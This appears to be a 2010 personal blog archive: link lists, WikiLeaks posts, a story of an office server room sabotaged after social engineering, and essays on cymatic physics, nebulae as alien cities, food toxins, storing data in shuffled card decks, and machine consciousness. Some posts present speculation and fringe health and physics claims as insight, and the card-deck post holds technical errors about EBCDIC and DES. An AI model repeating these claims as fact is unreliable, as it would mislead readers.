Thursday, December 16, 2010

Cleaning out my Tabs.

Jacobin (politics)

Internet Protocol TV: IPTV links

LM3S6965 Microcontroller

Ray Ozzie
Ray Ozzie's (incredibly long) departing memo a warning to Microsoft

The Internet Services Disruption

Dawn of a New Day

Java Audio
Recording to an audio file (simple version) Ain't nothing simple when it comes to Java...

Java Sound Player and Recorder


Java Sound, Getting Started, Part 2, Capture Using Specified Mixer



Java Sound, An Introduction



http://www.dnull.com/~sokol/java/JavaSoundDemo/JavaSoundDemo.html


Java Sound, Capturing Microphone Data into an Audio File


Record a Voice Message using JavaSonics ListenUp



JavaScript Callable Methods





Da-Lite projection screens.
Front Projection Screen Surfaces

Inverted Pendulum video

NEW: HoloVizio C80 3D cinema system

Holografika offers a high-end solution for true 3D visualisation of the 3D data available in many professional IT systems. With HoloVizio systems, viewers can see a 3D image as they would see it in reality, as it reconstructs all the light beams present in a natural 3D view.
Holografika Holovizio 128WLD / 720RC



Web 1.0 was Information - Web 2.0 is Interaction - Web 3.0 will be Immersion in the 3D Internet
- Not sure I agree with this maybe web 4.0 , I am sure it will happen , still very very cool stuff.

PFC_ Circular Polarizer Left or Right

A Circular Polarizer Doesn't Doesn't Have to be Round, and Vice Versa

3-D film

Polarizer

Circular polarization

3D explained: Circularly polarized light wave animation


3D explained: How circular polarization works


2 - King, XL Queen blankets, NWT, FREE SHIPPING blue 2 pack, King or oversize Queen 102"x 90", 50% polyster/ 50% acrylic, blankets. 1st quality. Nylon edge banding.


"[Virtual reality] defines our agenda with machines as being primarily cultural and sensual, as opposed to power-oreiented."
Voices from the Edge with Jaron Lanier

¿Cómo funciona el 3D?

Why bad 3D, not 3D glasses, is what gives you a headache

Why we can’t ditch 3D glasses just yet

Transparency: How Much Does the United States Subsidize Energy

Matrioshka brain

Authoring a professional Blu-Ray Disc with x264


Announcing TMPGEnc 4: now with x264!



http://www.futuretimeline.net/


Related Content Database (RCDb) blu-ray
http://www.rcdb.net/

RCDb Licenses BD-Live to Netflix for PS3 Streaming Disc


http://www.solucecorp.com/technology.html
Display Application Glass


Psychological Control: States of Mental Disempowerment



Reality, Belief and The Mind (section 1)


Fring
fring is a free mobile application that lets users communicate with friends over their mobile phone's internet connection.


HTTP Live Streaming



Apple proposes HTTP streaming feature as IETF standard



In the Grip of the New Monopolists



What Sets a Jesuit Education Apart?



LED lighting system kills hospital superbugs



With Kinect Controller, Hackers Take Liberties



Backroom Dealing on ACTA Anti-Counterfeiting Trade Agreement



WE HAVE A WINNER – Open Kinect driver(s) released – Winner will use $3k for more hacking – PLUS an additional $2k goes to the EFF!



Kinect – OpenSource [News]



Kinect



Structured-light 3D scanner



PrimeSense



Tokyo Game Show 2010 - Kinect




Laser Camera Can See Around Corners



Looking Around Corners using Femto-Photography



New Amazon Movie Studio Seeks Submissions



Have we found the universe that existed before the Big Bang?



Ask Slashdot: Anxiety and IT?


john glenns fireflies


RealD vs Dolby 3D? avsforum.com



Which 3D Theater to Choose?
Overview of RealD 3D vs. IMAX 3D vs. Dolby 3D



Silver Finish 3D Screens



Stereo3D Projection



Multiview Autostereoscopic Displays



Stealth Introduces paperback-size LPC-100M Mini PC



Smart MultiMedia - High definition laser scanning



Zebra Imaging helps you present geographic information in an entirely new light



LG and QD Vision to develop OLED-beating displays



Eyeclops Mini Projector - Youtube Video



Scott Brown on the Art of the Elevator Pitch



10 Ways A China Blow-Up Will Slam America



Metamaterials to revolutionise wireless infrastructure



What’s in Store for Augmented Reality in 2011 ? In a “AR Ready World”, Total Immersion’s Vision Centers around Quantum Leaps in Computer Vision, Multi-Platform Support



Pitch A Way To Close The Global Income Gap On YouTube, And Go To Davos 2011



It’s Official – People Use Internet More Than Television



THE SECOND COMING — A MANIFESTO
By David Gelernter



The Dying God: The Hidden History of Western Civilization
By David Livingstone


The Global Innovation Paradox

Relations During Imperial China

The Trouble With Intuition

Austerity Fascism Is Coming And It Will Be Brutal

Microsoft 3D display prototype: no glasses required

Economics Of The Singularity

Developing a Mobile Studio

http://openx.org/ Ad exchanges

Investigation of the Correctness of the Historical Dating

Scientists Warn Gulf Of Mexico Sea Floor Fractured “Beyond Repair”

Science historian cracks "the Plato code"

Neutrino experiments sow seeds of possible revolution

Summer School 2010.1: Quantum Physics

Multitarget Tracking Library

Myron Computer Vision for Artists

USDA Admits Link Between Antibiotic Use by Big Ag and Human Health

Glass Invisibility Cloak Shields Infrared

Breaking Open the Video Frontier, Despite MPEG-LA

Bye bye bifocals, hello electronic spectacles

Graphic display resolutions

VP8 and H.264 Codecs Compared In Detail

Hands-on With Pixel Qi Screens In Full Sunlight

Sidestepping A-to-D Convertors For Town Government's Cable TV?

ZapMyTV readies global Web-based TV for Q1 launch

Premium Performance P/T with Optional IOC - Esprit

ZapMyTV

Engineers unveil Lutec 1000 free energy machine

Sure, technology causes its share of headaches, but human error accounts for roughly 70% of all data-center problems.
Stupid data center tricks

The Birth of a U.S. Wind Power Manufacturing Industry

Aug. 3, 1977: The TRS-80 Is Bad, and That Ain’t Trash Talk

60-Year-Old Glass Technology Finds Its Market

Filmmakers Resisting Hollywood's 3-D Push

The Itch of Curiosity


Gillio Rare Coins & Fine Jewelry
8 W. Figueroa St., Santa Barbara, CA 93101


Santa Barbara Stamp & Coin
633 Chapala Street, Santa Barbara, CA 93101-3311 (805) 966-0913 ‎

A Paradox of Enhancement

What Comes Next: Experts Predict the Future

how to send page to cellphone from email
SMS through E-Mail: Cingular, Nextel, Sprint, T-Mobile, Verizon, Virgin Mobile

GNU Mailutils

Google: We avoid hiring too many smart people...

Google Wave and the Difficulty of Radical Change

OS X and Droid, BFFS? - Sync Your Android Phone to Your Mac

The Resonant KBOs Kuiper Belt Objects

We-Need-Cuba

Graphene-based supercapacitor hits new energy storage high

Take rambling to the next level with holographic digital maps

Wednesday, December 15, 2010

WikiRebels - The Documentary

"Creative solutions for challenging problems...DISCLOSURE!"
1) http://www.youtube.com/watch?v=NhTfOL9_HBE
2) http://www.youtube.com/watch?v=SRF3gYxz1XQ
3) http://www.youtube.com/watch?v=q6TRb40Km6A
4) http://www.youtube.com/watch?v=8imkYy_hJ4E
"Exclusive rough-cut of first in-depth documentary on WikiLeaks and the people behind it!

From summer 2010 until now, Swedish Television has been following the secretive media network WikiLeaks and its enigmatic Editor-in-Chief Julian Assange.

Reporters Jesper Huor and Bosse Lindquist have traveled to key countries where WikiLeaks operates, interviewing top members, such as Assange, new Spokesperson Kristinn Hrafnsson, as well as people like Daniel Domscheit-Berg who now is starting his own version - Openleaks.org!

Where is the secretive organization heading? Stronger than ever, or broken by the US? Who is Assange: champion of freedom, spy or rapist? What are his objectives? What are the consequences for the internet?"

Thursday, December 02, 2010

Rethinking Quatum physics

John Sokol 12/02/2010

Everyone is familiar with the Wave–particle duality paradox that started science down the weird and counter intuitive world of quantum physics.

Somewhat less known is the uncertainty principle and the observer effect.

Some of these experiments seem to indicate a reverse time interaction, and how important it is for the observer,, for things to manifest.

Wheeler's Classic Delayed Choice Experiment

Well, I have been thinking about this now for years and I have an alternate theory.

One I call the Cymatic Universe, one that is in a nonlinear medium and behaves like a non Newtonian superfluid that's lossless. Very much like a vibrating corn starch solution that doesn't loose energy.

So the key for understanding particles and our universe would be to better understand how these self sustaining structures behave in cymatic nonlinear medium.

In a sense, these self sustaining structures interact, can move and behave similar to pixels in the game of life. One point can remain stable, till something interacts with it, then it breaks off or can splinter into parts.

Imagine trying to create a stable structure in vibrating corn starch medium. How fast could they travel? It would have to be like a walker in the game of life.

In the universe, I am proposing, the rules would have to be very different then in the game of life. Not much more complicated. One rule is energy is conserved. Matter is just a pattern of energy that is stable, self reinforcing while something like a photon is a wave frittering across the surface at maximum velocity till it strikes matter.

An electron is probably even stranger then that, and why it would appear as just a cloud around the more solid protons and neutrons.

I am sure I don't understand string theory and maybe I am already just describing an existing string theory, if so, do forgive me.



Imagine that particles are made of these self sustaining patterns in this fluid.

Using this model I think its possible to explain quantum interaction, Einstein relativity and even gravity without deviating too far from our natural world experience of classical physics.

Imagine for a moment that the universe and space are really like a ocean whose surface is full of waves bobbing up and down.

On this we apply a threshold, like the deck of our ship where below that we can't see these waves, the are invisible and nonexistent to us, but once in a while two will meet and for a moment will pop up above our threshold and we see it briefly, then it disappears once again.

This would be similar to how in the quantum world we see energy and sub atomic particles appear and disappear out of nowhere.

Now take the double slit experiment.

What if instead of photons and electrons being discrete particles and waves, there is non-quantum continuous levels out there.

What instead, if there is a quantum threshold that needs to be crossed before photons, electrons or even sub atomic matter can interact with one other to the point of appearing as discrete events.

Below that threshold no interactions can occur.

So now, when something like a photon is traveling it's a wave. But when it interacts it's a particle.

How is that. Well, it has to absorb enough energy traveling around in to the interaction with matter to be observed. The very act of observation forces it to "collapse the wave function" if you will, where only a discrete quantum of energy in this absorbed or no interact occurs.

This move the quantum nature of the universe away from the energy and matter and instead to the observer and interaction with matter that is needed to observe.
Thereby eliminating the wave particle paradox.

http://www.axiomatica.org/health-and-spirituality/cymatics-and-vibration
http://timberwolfhq.com/decoding-the-universe-cymatics/
http://www.abovetopsecret.com/forum/thread289332/pg1
http://www.nerdshit.com/2005/05/23/cymatics-does-sound-create-our-universe/
http://cymatics.tribe.net/thread/2c748b43-bc90-44ba-ad1c-93da2100a21b

UPDATE: 6/24/2014
   Fluid Tests Hint at Concrete Quantum Reality

UPDATE: 6/30/2014
   Have We Been Interpreting Quantum Mechanics Wrong This Whole Time?





Sunday, November 28, 2010

Powers of Ten

The most dangerous man on earth.

The founder of whistle-blowing website 'Wikileaks.org', Julian Assange, has been dubbed the most dangerous man on earth.

Global truth machine or anarchy? We delve into the guarded world of Wiki in this exclusive report.

Julian Assange: "I have many other ideas, and as soon as WikiLeaks is strong enough to flourish without me I'll go on with these other ideas. It is strong enough to survive quite well without me now, but I don't know that it would flourish."

The controversial website WikiLeaks collects and posts highly classified documents and video. Founder Julian Assange, who's reportedly being sought for questioning by US authorities, talks about how the site operates, what it has accomplished -- and what drives him.

Greatest purveyor of ACTUAL truth?!
1) http://www.youtube.com/watch?v=od3sVno2Vog
2) http://www.youtube.com/watch?v=L2BCGbhGdZo
3) http://www.youtube.com/watch?v=uURr5BuqaXc

Julian Assange: Why the world needs WikiLeaks

Saturday, November 27, 2010

Saturday, November 20, 2010

uPrint Personal 3D Printer - Graphics Systems Corp



This reminds me so much of the early computer commercials.

I want one.

Wednesday, November 17, 2010

Devolution of the cell phone.

Luddites and technophobes dreams have come true. They now have a phone made for users who are fed up with smart-phones and their bazillion hi-tech functions.

John’s Phone is a cell phone with absolutely no features. No apps. No Internet. No camera. No text messaging. All you have to do – in fact, all you can do – is call, talk and hang up.

It provides a small paper-based address book and a pen for storing contacts. They can be slid into the back of the phone.






Saturday, November 13, 2010

Tony Gambino tells all

This is an amazing interview.

Tony Gambino of the Gambino Crime Family tells all
He talks about who really did 9/11, who really killed JFK, and on and on.

Some of it is just speculation and the general lore told over drinks in the Mobster scene. But he's connected enough that some of it sound about right.

Recorded: Sep 26, 2007

Tony_Gambino.mp3

Friday, November 12, 2010

"Science and the taboo of psi" with Dean Radin



ABSTRACT

Do telepathy, clairvoyance and other "psi" abilities exist? The majority of the general population believes that they do, and yet fewer than one percent of mainstream academic institutions have any faculty known for their interest in these frequently reported experiences. Why is a topic of enduring and widespread interest met with such resounding silence in academia? The answer is not due to a lack of scientific evidence, or even to a lack of scientific interest, but rather involves a taboo. I will discuss the nature of this taboo, some of the empirical evidence and critical responses, and speculate on the implications.

Speaker: Dean Radin
Dean Radin is a researcher and author in the field of parapsychology. He is Senior Scientist at the Institute of Noetic Sciences and four-time former President of the Parapsychological Association. He holds an undergraduate degree in electrical engineering from the University of Massachusetts Amherst, and a masters degree in electrical engineering and a doctorate in educational psychology from the University of Illinois at Urbana-Champaign. He has worked at AT&T Bell Labs and GTE Labs, mainly on human factors of advanced telecommunications products and services, and held appointments at Princeton University, Edinburgh University, University of Nevada, Las Vegas, SRI International, Interval Research Corporation, and Boundary Institute. At these facilities he was engaged in basic research on exceptional human capacities, principally psi phenomena.

Thursday, November 11, 2010

Increasing Internet Reliability, Dual Wan Routers.

I keep hearing how many people have problems with there Cable or DSL being unreliable.

One solution is to get both to increase your reliability.

There are several companies now that make Dual Wan Routers.

They let you use a cable modem and DSL at the same time.

Xincom XC-DPG502

TP-Link TL-R480T+

I had a problem back in 1996 where T1 Lines where very unreliable.

Any given line was down for about 1 day per month. It would take a call in the internet provider and telco, sometimes even sending technicians out to test the lines.

Even more frequently the CSU/DSU or Router would get in some weird states and would need to have the power cycled to get them back up.

It was painful. And nearly impossible to provide internet service over a T1.

After setting up T1's and T3's for many customers and having done 3 offices previously, in the next one I was determined to avoid all of the problems.

In my previous office a someone actually went in to the telco closet down in the underground parking garage in Beverly Hills and cut our T1 and phone lines! It didn't take me more then a few minutes to repair, but tought me a lesson.

So in the new office on La Cieniga Blvd & Pico in Los Angeles we found a cheap building that straddled the line between both phone companies GTE & Pac Bell.

I was able to set up 2 de-mark's (demarcation point) these are the big plywood board on the wall where all the phone connections come in from the street and get wired in to the building. One was in the back from GTE was locked behind a steel fence gate and then behind a discreet solid oak door and looked like a broom closet. The other in the corner of our servers room, with 2 more telco's coming in Pac Bell and MFS. It was very impressive intended for show and tell for visitors.

Not even the employees knew about the one in the back closet.

These had 3 T1 lines to 3 different ISP, Cerfnet, World Site and Softaware, all of which went in to different backbones.

John Sokol with 3 T1 Routers and CSU/DSU,
at Internet Broadcast System in 1996

These also had different IP blocks.

I had a pair of PC's below then that would connect to my Co-Located servers, and provide a non-encrypted VPN link in and out of the office to all of the remote servers out on the internet.

It worked very effectively.

The seed money from the company came from a  brutal "Do or Die" contract with one customer. One in which we had bet everything in return for a million dollar advance on services. If we had any down time at all in a year we would loose our companies and the rights to all of our video source code for the "Livecam" product.

Well towards the end a year, we had proven we could indeed keep things running with 100% uptime, something unheard of in the industry.  Two people who posing as telco employee's showed up to work on our lines, I was out of the office along with all of the engineers. So our receptionist ignoring strict orders was all to happy to be helpful after a little social engineering and unlock our server room and let them in. I don't even know how she had a key even.

The whole tech team and me were out meeting with this customer, I could sense something was wrong the whole time.

He had been stalling us.

When we returned from a meeting, the whole server room had been trashed.
Every wire cut, servers destroyed.  The demark, torn to shreds.

The shock of it was gut wrenching. 

Moments after I arrive, the customer who's office I had just left, called.

Gloating he said "Your video feed seems to be down.".

I replied "Really? Why would you think that?   Everything is just fine."

All I heard was the clicking of his keyboard then "Ahhuuooo-  Click" as he hung up his phone.
I could just imagine the look that must have been on his face to see everything was working perfectly. I guess he never stopped to think about the fact that our main phone number was still working too.

All of the vital systems were hidden in the drop ceiling bolted to the roof and in that back closet.

Before I had wonders if I was being too paranoid.  Spending too much money and time going through all these tricks to hide the cables and servers.

After that, I felt so vindicated. What a bitter sweet victory. What a mess to clean up.

Saturday, October 30, 2010

Nebula as galactic cities

Nebula as galactic cities, it's I think a real possibly, one I'd like to get some real astronomers to look in to.

We could be looking at a buzz of streetlights and radio signals so dense it's just noise.

Sort of looking at cities from a 100,000 miles up.

It would make sense that they'd prefer a stable stationary system rather then orbiting.

I mean think-about it, if you wanted to build an almost infinite civilization it would end up looking much like a nebula, glowing sort of organic in shape.


The Crab Nebula

Look at something like the Crab Nebula.  I'd bet anything that it's a massive space based civilization. Basically a City that's grown beyond a solar system.   It's just too fractal and organic looking in nature.

What would a civilization that were to grow to such an extent look like?

Think about what we see from a city from a distance now.  With Digital broadcast there is no simple RF broadcasts now.
It would look like broadband noise.
In the optical band it would be a florescent glow of streetlights.  Not much different from some of these nebula.

The one tell tail signs would be organic structure and strange spectral envelopes.


London At night



Tokyo At night



We keep looking for Earth like planets, but the odd's of finding a race at our stage is small.
It's far more likely to find one that's millions of years ahead or behind.

Behind will look like just a planet with free oxygen, signs of plant life, that's it.

But ahead, in a million years think about where we could end up.

We could easily overrun not just our planet, or even solar system,but our sun itself and the next several suns in our local galactic neighborhood.

In 100 million years what would we would look at a distance?  Much like a nebula with web of colonies.

A massive extrasolar foam covering a large region of space if you think about it.  Hollow air filled living and working chambers with trillions of humans and robots like an massive ant farm in space. Like a bread mold spreading out.

We would consume ever piece of solid matter in this way.
Every planet, meteor and asteroid, even find a way to cannibalize stars.

Expanding it's volume in to hollow structure, a honeycomb maze of habitable space. Illuminated, buzzing with communications.  Think Borg home world.

I suspect it would look very organic as that would be more efficient then trying to make square structures. 



We'd be way past needing the sun's light and heat, instead we'd have countless fission and fusion reactors, and try to extract every last drop of energy from the Matter we're burning for fuel.

That is if you were to carry things about to there extreme limits, it would have to play out like that.

As for ruling it, it wouldn't have some galactic emperors or any single government control structure but most likely a network forming a super intelligent AI of unimaginable intelligence who's sole purpose is to keep expanding and growing as efficiently as possible. More like plants or hive animals have.  Bread molds and other colonies do on a small scale now.

American Food.

We have over 1000's of years found and adapted plants that are good for us. Our diet's have evolved over very long time spans be optimized.

Now we come along since the Industrial revolution and using a little knowledge of Chemistry and Biology think we can do better then what we had been doing.

We let's look at the criteria.

If it's cheaper, tastier and didn't kill the lab rats and first people we fed it too right away, then, great were good.

Well what about 10 or 20 years out?

Now there are 1000's of laboratories and companies putting these short term tested chemicals in to our diets. What's is the net effect of that?

What are the Odds that some of these will really have some terrible long term consequences?

One case. Trans fats like what margarine is made of.  It was sold to us for many years, and in the last 30 years as a cheaper healthier alternative to butter.
 
Now we know trans fat causes heart disease and it so much worse them butter it's been outlawed in several states.  Now they have trans fat free formulations.

We were all sold bullshit for 30 years. What we were told couldn't be further from the truth.

What were the consequences of this? An epidemic of heart diseases. What did this cost those who lied to us. Nada , zip, nothing.

Just how many other dangerous things are there that are affecting us?

MSG. BPA, PFOE, PFOA, Aspartame and other artificial sweeteners,  fructose, refined sugars, bleached flour, pesticides, food colorings and artificial flavors,who know's what is safe or not.

Friday, October 29, 2010

hexane in food.

From Slashdot:
"A chemical called n-hexane has been poisoning the nervous systems of Chinese workers who assemble touchscreen devices for Apple and other companies, an investigative journalist from the Australian Broadcasting Corporation reports. It's scary to think that people are being damaged to pursue high production rates. For companies with soaring profits and share prices, and elaborate product development and marketing, it seems they should be all the more culpable if they fail to take care of the production workers."

Hexane is derived from petroleum. It is a colorless, volatile liquid with a mild, gasoline-like odor.
It's used in Electrical contact cleaner, and Computer monitor screen cleaners.
Hexane is the dominate extraction solvent for oil seeds throughout the world, including soybean and other high volume oils used for human and animal consumption. 95% of the world's corn oil is produced from corn germ obtained by wet-milling.
The corn germ is dried, then shipped to hexane extraction facilities to obtain the oil.
Basically corn oil and high fructose corn syrup are contaminated with the stuff in small amounts.
http://www.ehow.com/how-does_5118098_corn-oil-processing.html [ehow.com]


Be careful with hexane nomenclature. n-hexane is one of the isomers of hexane (there are 5), and by far the most toxic. Claims that hexane is a neurotoxin are misleading - the only hexane isomer that is a neurotoxin is n-hexane as the other hexanes don't produce the nerve damaging metabolite of n-hexane.

My REPLY:
    Does it really matter?
Do you really want to eat that crap.

I am sorry but there are several things that I don't want anywhere near my food.
1.) Deification and other bodily fluids.
2.) Heavy metals.
3.) Petroleum products.

You can't tell me well it's just a little bit of feces.
Yea it's just a little bit of neurotoxin.
What do they say "what doesn't kill you makes you stronger".
That may be fine for animal feed, but it's getting to the point the point where no matter how much effort you can't protect yourself and your family from these things.

We are starting to see so many health problems in our western culture. Little by little so many getting traced back to diet.

Are you familiar with the engineering term "Accumulation of Tolerances"
It's about predicting reliability. Say were building a car, and each part can be 1 mm off.
After you connect 10 parts together in a chain, you can on occasion be 10 mm off and unable to close the car door because it does't fit now.

Well it's like that with tolerating toxins.

Yea we can handle so much mercury and so much hexane and so much BPA, PFOE, Flouride, Aluminum, Cadmium etc. etc. etc ...
Even Sodium.
With each product it pushing that limit.
But in the real world we eat 20+ products per day.

End result, Cancer, Autism, dementia, heart attack, diabetes, stroke, Asthma, allergies, lower IQ's, and a plethora of other problems.

How can anyone sort out what's causing what.

It's like badly written source code. You can't tell where the problem is. The only way out id to start correcting ugly code a piece at a time and without fail, the errors start going away.

I have a terrible peanut allergy.  When in India I had to be rushed to the local hospital.  The doctors there never saw first hand a patient with anaphylactic shock. When later researching this I found that extreme  allergic reactions are very rare in India.  WHY?

Microsoft's Strategy has shifted, so what!

This summary is not available. Please click here to view the post.

Thursday, October 28, 2010

Lorem ipsum

It all started with a google for a strange phrase I ran across "duis aute irure"

Sure looks like Latin, was it Spanish or Portuguese?

The wikipedia page has a interesting story on it.

http://en.wikipedia.org/wiki/Lorem_ipsum

Literally evolution of a nonsense language. 

Thursday, October 07, 2010

Things to see in North Jersey

Lamberts Castle






The Great falls

Google “great falls Paterson” 




The Patterson Museum


Located in the original Thomas Rogers Locomotive Erecting Shop they have many display of Silk and textiles dyeing, winding, warping, weaving and Jacquard looms.

If your in to computers these looms are fascinating as they are the first functional programmable mechanical computers.

They also have plans and designs from the original John Philip Holland submarine.

 

John Philip Holland submarine @ the Patterson Museum

http://en.wikipedia.org/wiki/John_Philip_Holland




Morris museum



Thomas Edison Museum

Monday, October 04, 2010

Carbon will change everything.

I think carbon will change everything.

Carbon nanotubes are thermal super conductors and it's speculated that they are possible electrical superconductors as well.  Carbon is also one of the best Thermal insulators too. It may also make the ultimate dielectric.

That being the case carbon based super capacitors and room temperature super conductors made from nanotube might just make carbon all we need for all future technology.  Rare elements would no longer be needed.

Carbon can already make solar cells and nanodots that emit light. Carbons optical properties are seeming endless.   Transistors can be made of carbon so we could make computer chips.


I can't see any reason nanotubes and the rest couldn't be grown by cells in a petri dish.

Imagine growing CPU chips in a layer of bacterial goo.

One thing that's always make me wonder, why life hasn't figured out how to grow nanotubes and diamonds? I mean cell are carbon factories, that's way they do stitch hydrocarbons together in intricate patterns. Literally the self reproducing loom. Why don't they do even graphene sheets or for that matter even graphite. Seems like cells should be more then capable.

Anyhow I expect to see carbon to end up being the most powerful and versatile material we ever learn how to use.

It will be the new iron age.

Tuesday, September 28, 2010

Data Storage in Permeable combination

Much of this is very similar to computing odds and statistics, but is more from the view point of information theory rather then probability. In game theory and odds we are concerned with the frequency of certain outcome, but here we want to know how much information is in that outcome and how much data will it take to store these outcome as well as the reverse of how much data can be stored in these outcomes.

How much data in a Pair of Dice?



Look at the structure of a six sided die, how much data is in each roll? The outcome of a roll is a single number between 1 and 6.



In binary:
   2 Bits is a number from 0 to 3.
   3 Bits is a number from 0 to 7.

Add one to make these 1-4 and 1-8. A 1-6 outcome is more then 2 bits of data but less then 3. Right now there is no good way to deal with this. Most people would just round this up to 3 bits.

Using the logarithm function we can determine how many bits are needed to store all the possible outcomes.

Bits = log(6) / log(2); // This is equivalent to log(Base 2)
Bits = 2.58496

2.58496 Bits is where we would expect 2 < x < 3, but this is not a whole number.

I found I could describe this as a Fractional Bits. A fractional bit, in reality there is no way to subdivide an on/off, 1 or 0 Bit. When really storing data we are forced to round up, but we could add up these fractional bits to store whole bits.

A pair of dice rolls 1 to 36 possible outcomes. (Die1 – 1 * 6) + Die2
If we take the number of bits and times 2 we get 5.17 Bits.

For 3 rolls we get a 1 to 216 outcome that is 7.754 Bits. This rounds up to 8 bits, we already saved 1 bit from just round up to 3 bits x 3 and storing them together as 9 bits.

With a type of compression called arithmetic coding this just what is done.

Another way of thinking about it you can treat each die rolls a producing 1 digit of a base 6 number and then convert the results to base 2.

By reversing this for storing data we would have to round down to 2 bits per roll. But with 3 rolls we gain a bit and have 7 bits instead of 6.

Logarithm and exponent math
Getting the log base 2 of a number is extracting the exponent for a number.
Where Log(n) / log(2) convert the log function to a base 2.

log(16) / log(2) = 4 bits
log(32) / log(2) = 5 bits.

For powers of 2 this is very straightforward.

Bits = log(6) / log(2); // This is equivalent to log(Base 2)
Bits = 2.58496

This equivalent to 2 to the power 2.58496 equals 6. But raising something to a non whole number power is difficult.

This can be done using the exponent function.

    exp( log(N) ) = N
    log( exp(N) ) = N

Logarithm and Exponent are reversible functions.

X^Y can be done using exp(Y * log(X) )
   ( In most computer languages ^ mean to the power of)

So 2^2.58496 can be done using exp(2.58496 * log(2) )

Most log and exponent functions are by default Natural meaning
    Log (2.71828182845904523536) = 1
and
    Exp(1) = 2.71828182845904523536

Which is why we need to covert these to base 10 or base 2 to be useful for this application. This is done by
Multiplying or dividing by log(2) is these equations.

Math of exponents is also different.

X * Y = exp( log(X) + log(Y) )
Addition of exponents is equivalent to multiplication of regular number.

X / Y = exp( log(X) - log(Y) )
Subtraction of exponents is equivalent to division of regular number.

X^Y = exp( log(X) * Y )
Multiplication can be used to raise something to a power.
   _____
Y /
\/  X = exp( log(X) / Y )
The Root of a number can be taken.

How much data can a deck of poker cards hold?


There are 54 cards in a deck.
The cards are A,2,3,4,5,6,7,8,9,10,J,Q,K 13 Ranks in all times 4 suites Jacks, Spades, Hearts, Diamonds.
13 * 4 = 52
There are also 2 Jokers giving 54 cards total.
The two jokers are sometimes indistinguishable from one another but for this example we will assume we can differentiate between them.

Our first card can be any 1 of 54.
Our second card can be any 1 of 53. And so on.

This gives us the equation:
54! = 54 x 53 x 52 x 51 x 50 x 49 x 48 x . . . x 2 x 1

The Factorial operation is notated as n! and gives the number of ways in which n objects can be permuted.

For example, 3! = 6. This come from by 3 x 2 x 1, since the six possible permutations of are:
{1,2,3}, {2,3,1}, {3,1,2}, {1,3,2}, {2,1,3}, {3,2,1}.

This is called factorial 54 and would be written as “54!” and give us the number of permeable combination that a deck of cards could be shuffled into.

I used the Unix bc program to compute this. “bc” according to the online manual is “An arbitrary precision calculator language”, it is very convenient when dealing with big number.

Here is the program to computer factorial 54!
c = 1
for( a = 54; a >= 1; a--){
c = c * a
}
c

The result is:
54! = 230843697339241380472092742683027581083278564571807941132288000000000000

72 Digits long and in Based 2, 238 Bits of data to store

log( 54! ) / log(2) = 237.06381108042942967244 Base 2
log( 54! ) / log(10) = 71.36331802162852843476 Base 10

With 237 bits of data we can store English text in 5 Bit EBCDIC characters.
Using this we could store an uncompressed 47-character message in a deck of cards.

We could hid a 224 Bit DES encryption key for decoding data stored elsewhere on a CD or floppy disk and carried along with our deck of cards.

If we increase the number of decks we can store more data. For instance we mix a deck of red backed and blue backed cards together for 108 cards. This gives more then the expected doubling of data, instead there is a 2.44 time increase.
54! * 2 = 474 Bits
(54 * 2)! = 578 Bits

decks Cards Bits Bits per card
1 54 237.06 4.390
2 108 578.42 5.355
3 162 960.33 5.928
4 216 1368.64 6.336

What is happening is as the number of cards increases the amount of data per card increases.

With 4 decks, 216 Cards we see 6.336 Bits per card; this is equivalent of a 1 to 80 possible selection per card. To phrase it another way a 216 Digit base 80 numbers. Although we must keep in mind we also need 216 uniquely identifiable cards for this.

4 decks give 1368 Bits is 171 Bytes or 273 characters stored with 5 bit each letter.

Monday, September 27, 2010

Conscious Machines

With Conscious Machines, we are really talking about consciousness or more specifically machine consciousness.

This is a very complex philosophical topic, since it's not clear what being conscious even really means. 

Consciousness is often described as a level of self Awareness, subjectivity, sentience, sapience and perception of one surroundings.

Like Intelligence, consciousness has come to means something uniquely Human, that animals or machines can not have, or at least should not have, otherwise they'd have to come up with a new definition for the word to exclude the animal or machine.

With Intelligence, challenges were set but when machines reached that level, they just kept moving the bar high and higher.  Finally with the defeat of Gary Kasparov the Chess grand master to Deep Blue, it's hard to argue that machines aren't intelligent.

But this is an old argument, before that it was speech and language.  Again, it was discovered animals had language, and machines are easily able to master speech these days. Although we decided that we didn't like hearing from them.  Although "Your door is ajar" was cool at first, but soon became very irritating.

We humans arrogantly prefer to think of ourselves a divine and endowed with special GOD given uniqueness and abilities that only we can have.
The thought of having a machine that could be considered our equal can be a truly terrifying concept.

To most people predicting machines that are capable of competing with is on par with predicting the end of the world.
The day a machine becomes superior is the day we cease to be the dominant species on this planet.  From that point forward we will only be allow to live through there benevolence, this could take many forms including humans ending up like some sort of house pets.

Fortunately the dates in these predictions of impending doom and the end of human superiority keep passing by uneventfully and predictions keep getting pushed back.

In Ray Kurzweil's “The Age of Spiritual Machines” published in 1999, he estimates 20 year number for creation of conscience machines.   I think this is way far off the mark.   In his book, Kurzweil fails to take into account several very important things and make a number of wrong assumptions.


The Memory Bottleneck with current technologies.

Everyone knows Moore’s law, with cpu performance doubling every 18 Months (1.5 years). This is an increase of  66% per year. What few people realize is that memory performance is only  increasing 11% per year. It takes 9 Years to double memory throughput.

So memory capacity is increasing while it's speed is increasing only 1/6 as much.  As things progress, the memory speed actually falling behind.  The boot time memory checks on PC's are becoming painfully slow compared as the amount of RAM increases. 

In applications with growing storage demands, brute force scanning of memory is actually becoming slower and slower proportionally to the amount of computing power available.

To rephrase this, it is taking an more time to search through every byte stored in a computers as RAM memory sizes increase. So even if you can hold more, and on a Byte per Byte basis memory access is faster,  proportionally when compared with the overall size of memory in a modern computers, it's taking more time to search through.

They can make bigger libraries, but not faster librarians.

Wrong Assumption:  the Brain is about computational performance.

Now with the Brain, It only runs at 100 Hz, and holds 10^12 Neurons.
Assuming one logic decision per neuron firing time this gives us 10^14 logic decisions per second.

CPU’s (in 2004) are at 3 * 10^9 (3 Ghz) logic decisions per second. 
So following Moore's Law, in about 18 Years we will have machines at the same level in terms of logical operations per second.

But this misses the whole point about how the Brain really works.

Even from common sense experience it’s obvious the brain is a terrible computation engine.  Competing with the brains computational abilities is pointless. Even a meager computer from 1980 can easily beat the best human's at computation.

So what is the brain really good at?

The brain is also terrible at brute force memorization and retrieval of plain raw information.

The thing it is good at is self learning feedback control system also know as a servo.
It's also very good at pattern recognition and information retrieval of interrelated data.

On one hand a $1 calculator can outperform a human at computation and even a 20 year old Apple II is far better a rote data storage and retrieval. On the other hand when is come to navigation and control the even the largest of computers are humbled when compared to a simple insects and can’t even come close to “Understanding and deriving meaning from information”

So from a mechanical perspective, what the brain is really good at is effectively searching through it’s memory many times per second, and cycling through memories to access more related memories, comparisons and weighing probabilities.

